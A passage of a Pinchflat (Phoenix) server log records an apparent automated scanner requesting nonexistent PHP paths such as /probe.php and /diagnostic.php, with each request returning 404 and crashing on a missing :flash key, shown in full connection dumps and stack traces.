"pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 149, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /1 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/1.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 149, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12449.0>, params: %{}, path_info: ["1"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/1.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1hpI3aJskEcAAKUB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb. (truncated) 14:08:20.542 [info] GET /probe.php 14:08:20.544 [debug] QUERY OK source="settings" db=1.2ms queue=0.1ms idle=606.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:20.546 [debug] QUERY OK source="settings" db=1.1ms idle=607.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:20.546 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:08:20.547 [error] #PID<0.12450.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 150) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /probe.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /probe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/probe.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 150, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12450.0>, params: %{}, path_info: ["probe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/probe.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1j6Ag8BM1W8AAKUR"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/probe.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 150, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /probe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/probe.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 150, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12450.0>, params: %{}, path_info: ["probe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/probe.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1j6Ag8BM1W8AAKUR"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 40 (truncated) 14:08:21.142 [info] GET /check.php 14:08:21.144 [debug] QUERY OK source="settings" db=1.3ms queue=0.1ms idle=1014.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:21.146 [debug] QUERY OK source="settings" db=1.0ms queue=0.1ms idle=1009.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:21.146 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:08:21.147 [error] #PID<0.12451.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 151) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /check.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /check (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/check.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 151, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12451.0>, params: %{}, path_info: ["check"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/check.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1mJB0kcVlBUAAKUh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/check.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 151, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /check (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/check.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 151, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12451.0>, params: %{}, path_info: ["check"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/check.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1mJB0kcVlBUAAKUh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 40 (truncated) 14:08:21.678 [info] GET /phptest.php 14:08:21.679 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=1134.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:21.680 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=1133.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:21.680 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:08:21.681 [error] #PID<0.12452.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 152) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /phptest.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /phptest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phptest.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 152, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12452.0>, params: %{}, path_info: ["phptest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/phptest.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1oIw4pbReWYAAKUx"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phptest.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 152, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /phptest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phptest.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 152, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12452.0>, params: %{}, path_info: ["phptest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/phptest.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1oIw4pbReWYAAKUx"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router (truncated) 14:08:22.416 [info] GET /diagnostic.php 14:08:22.418 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=1272.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:22.418 [debug] QUERY OK source="settings" db=0.2ms idle=1272.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:22.419 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:08:22.419 [error] #PID<0.12453.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 153) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /diagnostic.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /diagnostic (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/diagnostic.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 153, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12453.0>, params: %{}, path_info: ["diagnostic"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/diagnostic.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1q4s53fY5JkAAKVB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/diagnostic.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => 